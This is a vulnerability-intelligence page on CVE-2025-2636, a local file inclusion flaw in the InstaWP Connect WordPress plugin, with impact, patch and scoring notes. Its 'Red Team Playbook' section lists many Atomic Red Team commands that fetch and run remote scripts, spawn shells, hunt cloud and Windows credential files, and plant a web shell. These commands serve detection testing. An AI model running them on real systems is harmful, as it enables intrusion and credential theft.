CVE-2025-2636
Overview
This vulnerability is a Local File Inclusion (LFI) flaw rooted in insufficient input validation of the 'instawp-database-manager' parameter within the InstaWP Connect plugin. The affected component is the database manager loader script, which improperly handles user-supplied input, allowing inclusion of arbitrary local files. This occurs in all plugin versions up to and including 0.1.0.85, enabling unauthorized file inclusion through crafted requests.
Vulnerability Description
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.1.0.85 via the 'instawp-database-manager' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where php file types can be uploaded and included, or are already present on the filesystem locally. There are currently no known vulnerabilities in this plugin that make file upload possible, meaning this won't be exploitable to achieve remote code execution on most instances with just this plugin alone. Another vulnerability would need to be present on the site allowing arbitrary file upload in order to leverage this to achieve remote code execution.
Impact
An unauthenticated remote attacker can leverage this LFI vulnerability to include and execute arbitrary PHP files present on the server, potentially bypassing access controls and accessing sensitive data. While the plugin itself does not allow file uploads, if combined with another vulnerability enabling arbitrary file upload, it can lead to remote code execution. The attack requires network access but no user interaction or authentication, as indicated by the CVSS vector AV:N/AC:H/PR:N/UI:N. This can result in unauthorized system control or data compromise in affected WordPress installations.
Solution
Users should upgrade the InstaWP Connect plugin to a version later than 0.1.0.85 where the vulnerability is patched, as documented in the WordPress plugin repository changeset 3269681. Detailed patch information and remediation steps are available at the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/4c8f2c6f-c231-477c-895b-df892569ef95) and the official plugin repository. No additional workarounds are recommended beyond applying the updated plugin version.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the InstaWP Connect plugin for WordPress is characterized by a Local File Inclusion (LFI) flaw that affects all versions up to and including 0.1.0.85. This weakness arises from improper validation of user-supplied input, specifically the 'instawp-database-manager' parameter. Attackers can exploit this vulnerability by manipulating the input to include files from the server's filesystem, which can lead to the execution of arbitrary PHP code. The ability to include and execute files not only compromises the integrity of the application but also poses significant risks to the underlying server environment.
Exploitation of this vulnerability can occur through various attack vectors. An unauthenticated attacker could craft a malicious request that targets the vulnerable parameter, potentially leading to the inclusion of sensitive files such as configuration files or logs that contain credentials and other sensitive information. Furthermore, if the server is misconfigured to allow file uploads, an attacker could upload a malicious PHP file disguised as an image or other innocuous file type. Once included, this file could execute arbitrary code, allowing the attacker to gain unauthorized access to the server, escalate privileges, or pivot to other systems within the network.
The real-world impact of this vulnerability can be profound, particularly for businesses relying on the affected plugin for WordPress site management. Successful exploitation could lead to data breaches, unauthorized access to sensitive information, and significant disruptions to business operations. The potential for code execution means that attackers could deploy malware, create backdoors for future access, or even deface websites, all of which can severely damage an organization's reputation and erode customer trust. The financial implications of such incidents can be substantial, encompassing costs related to incident response, legal liabilities, and loss of revenue due to downtime or compromised services.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating plugins and ensuring that only the latest, patched versions are in use is crucial to minimizing exposure. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests that attempt to exploit the LFI vulnerability. Conducting regular security assessments, including vulnerability scanning and penetration testing, can further identify potential weaknesses in the system before they can be exploited. Furthermore, organizations should enforce strict file upload policies, ensuring that only safe file types are permitted and that uploaded files are stored in non-executable directories.
In conclusion, the Local File Inclusion vulnerability in the InstaWP Connect plugin represents a significant risk to WordPress installations. Understanding the technical details, potential attack vectors, and the real-world implications of exploitation is essential for organizations to protect their assets. By implementing robust detection and mitigation strategies, businesses can safeguard against this and similar vulnerabilities, ensuring the integrity and security of their web applications.
The CVSS score for CVE-2025-2636 has been revised downward from 9.8 to 8.1, reflecting a reassessment of the vulnerability’s exploitability and impact. Concurrently, the EPSS score has shown a modest decline, indicating a slight reduction in the likelihood of exploitation in the wild. CSURFACE threat intelligence confirms that there has been no emergence of new exploit techniques or proof-of-concept code targeting this Local File Inclusion flaw since the last update. Our telemetry also indicates a gradual decrease in exploitation attempts, suggesting that threat actors may be deprioritizing this vector in favor of more accessible or higher-impact vulnerabilities. This recalibration of risk underscores that, while the vulnerability remains serious and capable of enabling unauthorized code execution, the immediate threat landscape is less acute than initially assessed. Defenders should interpret this as a signal to maintain vigilance but recognize that active exploitation pressure has diminished, potentially allowing for more measured allocation of defensive resources.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-2636 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/4c8f2c6f-c231-477c-895b-df892569ef95?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/instawp-connect/trunk/includes/database-manager/loader.php#L77 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3269681/ |